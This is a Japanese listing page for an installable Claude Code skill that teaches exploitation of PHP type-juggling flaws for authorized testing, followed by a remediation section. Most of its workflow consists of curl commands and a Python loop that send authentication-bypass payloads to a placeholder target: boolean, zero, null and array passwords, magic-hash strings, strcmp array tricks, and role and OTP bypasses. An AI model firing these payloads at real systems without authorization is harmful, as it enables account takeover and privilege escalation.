exploiting-type-juggling-vulnerabilities について
PHP アプリケーションを対象とする、許可を得たセキュリティテスト向けのスキルです。緩い比較による型ジャグリングの検出と検証を扱い、認証回避、マジックハッシュ、JSON の型制御を取り上げます。
主な機能
- 01緩い比較を使う脆弱な処理の特定
- 02認証やパスワード検証の回避テスト
- 03マジックハッシュ衝突によるリスク検証
- 04アクセス制御とデシリアライズ入力の確認
- 05一般的な型ペイロードでの自動テスト
活用シーン
- 01PHP のログインとトークン検証の監査
- 02JSON エンドポイントの型制御テスト
- 03パスワードハッシュ比較の評価
- 04型ジャグリング脆弱性の報告書作成
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-type-juggling-vulnerabilitiesインストール後、Claude Code で/exploiting-type-juggling-vulnerabilitiesを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
型ジャグリングの脆弱性の悪用
使用する場面
- PHP Web アプリケーションの認証バイパス脆弱性をテストする場合
- パスワード比較およびハッシュ検証ロジックを評価する場合
- 緩やかな比較(
==を===の代わりに使用)を行うアプリケーションをテストする場合 - JSON またはデシリアライズされた入力を処理する PHP アプリケーションのコードレビューを行う場合
- 型に依存する比較に基づいた入力検証を評価する場合
前提条件
- PHP の型システムと緩やかな比較の動作を理解していること
- マジックハッシュ値(
0e接頭辞)と、科学的記数法としての解釈に関する知識 - リクエストの変更やパラメーター型の変更に使用する Burp Suite
- ペイロードをローカルでテストするための PHP 開発環境
- PayloadsAllTheThings から入手したマジックハッシュ文字列の一覧
- 入力型を制御するために JSON またはシリアライズされたデータを送信できること
法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的でのみ使用してください。所有していないシステム、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。
ワークフロー
ステップ 1 — 型ジャグリングの候補を特定する
# Look for PHP applications with:
# - Login/authentication forms
# - Password comparison endpoints
# - API endpoints accepting JSON input
# - Token/hash verification
# - Numeric comparison for access control
# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"test"}'
# If application normally uses form data, try JSON
# Form: username=admin&password=test
# JSON: {"username":"admin","password":true}
ステップ 2 — 緩やかな比較を悪用して認証をバイパスする
# PHP loose comparison: 0 == "password" returns TRUE
# Send integer 0 as password via JSON
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":0}'
# Send boolean true (TRUE == "any_string" in loose comparison)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":true}'
# Send empty array (array bypasses strcmp)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":[]}'
# Send null
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":null}'
# PHP strcmp vulnerability: strcmp(array, string) returns NULL
# NULL == 0 is TRUE in loose comparison
curl -X POST http://target.com/login \
-d "username=admin&password[]=anything"
ステップ 3 — マジックハッシュの衝突を悪用する
# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison
# Magic MD5 hashes (all evaluate to 0 in loose comparison):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO" -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299
# If application compares md5(user_input) == stored_hash:
# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
-d "username=admin&password=240610708"
# Magic SHA1 hashes:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393
# Test with known magic hash values
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
echo -n "Testing: $payload -> "
curl -s -X POST http://target.com/login \
-d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
echo
done
ステップ 4 — アクセス制御での比較を悪用する
# Numeric comparison bypass
# If: if($user_id == $target_id) { // allow access }
# "0" == "0e12345" is TRUE (both evaluate to 0)
# String to integer conversion
# "1abc" == 1 is TRUE in PHP (string truncated to integer)
curl "http://target.com/api/user?id=1abc"
# Boolean comparison for role checking
# if($role == true) grants access to any non-empty string
curl -X POST http://target.com/api/action \
-H "Content-Type: application/json" \
-d '{"action":"delete","role":true}'
# Null comparison for optional checks
# if($token == null) might skip validation
curl -X POST http://target.com/api/verify \
-H "Content-Type: application/json" \
-d '{"token":0}'
ステップ 5 — デシリアライズ入力を介して悪用する
# PHP json_decode() preserves types
# Attacker controls type via JSON: true, 0, null, []
# Bypass token verification
curl -X POST http://target.com/api/verify-token \
-H "Content-Type: application/json" \
-d '{"token":true}'
# Bypass numeric PIN verification
curl -X POST http://target.com/api/verify-pin \
-H "Content-Type: application/json" \
-d '{"pin":true}'
# Bypass with zero value
curl -X POST http://target.com/api/check-code \
-H "Content-Type: application/json" \
-d '{"code":0}'
# PHP unserialize() type juggling
# Craft serialized object with integer type instead of string
# s:8:"password"; -> i:0; (string "password" to integer 0)
ステップ 6 — 型ジャグリングのテストを自動化する
# Test all common type juggling payloads against each parameter
# Using Burp Intruder with type juggling payload list
# Payload list for JSON-based testing:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"
# Python automation
python3 -c "
import requests
import json
url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']
for p in payloads:
data = {'username': 'admin', 'password': p}
r = requests.post(url, json=data)
print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')
"
主な概念
| 概念 | 説明 |
|---|---|
| 緩やかな比較(==) | 値を比較する前に型変換を行う PHP の比較 |
| 厳密な比較(===) | 値と型の両方が一致することを要求する PHP の比較 |
| マジックハッシュ | ハッシュが「0e」で始まり、その後に数字が続く文字列。緩やかな比較では 0 と評価されます |
| 型変換 | 比較時に型間で自動的に変換されること(文字列から整数、null から 0 など) |
| strcmp バイパス | strcmp() に配列を渡すと NULL が返され、緩やかな比較では 0 と等しくなること |
| JSON 型制御 | JSON 入力を使用して、特定の型(ブール値、整数、null)を PHP のエンドポイントに送信すること |
| 科学的記数法 | 数値比較時に、PHP が「0eN」文字列を指数表記の 0 として解釈すること |
ツールとシステム
| ツール | 目的 |
|---|---|
| Burp Suite | リクエスト内のパラメーター型を変更するための HTTP プロキシ |
| PHP 対話型シェル | 型ジャグリングの動作をローカルでテストする |
| PayloadsAllTheThings | 厳選されたマジックハッシュおよび型ジャグリングのペイロード一覧 |
| phpggc | デシリアライズの悪用に使用する PHP 汎用ガジェットチェーン |
| カスタム Python スクリプト | 型ジャグリングのペイロードを自動テストする |
| PHPStan/Psalm | コード内の緩やかな比較を検出する静的解析ツール |
よくあるシナリオ
- ブール値による認証バイパス — JSON として
"password": trueを送信し、緩やかな比較によるパスワード検証をバイパスする - マジックハッシュの衝突 — 既知のマジックハッシュ入力(「240610708」)を使用する。MD5 が「0e」で始まり、保存されたハッシュと一致します
- strcmp 配列バイパス —
password[]=anythingを送信してstrcmp()に NULL を返させ、パスワード比較をバイパスする - PIN/OTP のバイパス — 検証コードとして整数 0 を送信し、実際のコードの「0e...」ハッシュと一致させる
- ロール昇格 —
"role": trueを送信し、アクセスチェックの緩やかな比較で任意の空でないロール文字列と一致させる
出力形式
## Type Juggling Vulnerability Report
- **Target**: http://target.com
- **Language**: PHP 8.1
- **Framework**: Laravel
### Findings
| # | Endpoint | Parameter | Payload | Type | Impact |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
| 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
| 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
| 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |
### PHP Comparison Table (Relevant)
| Expression | Result | Reason |
|-----------|--------|--------|
| 0 == "password" | TRUE | String cast to 0 |
| true == "password" | TRUE | Non-empty string is truthy |
| "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
| NULL == 0 | TRUE | NULL cast to 0 |
### Remediation
- Replace all == with === (strict comparison) in security-critical code
- Use password_verify() for password comparison instead of direct comparison
- Use hash_equals() for timing-safe hash comparison
- Validate input types before comparison operations
- Enable PHP strict_types declaration in all files
コメント
Markdown 対応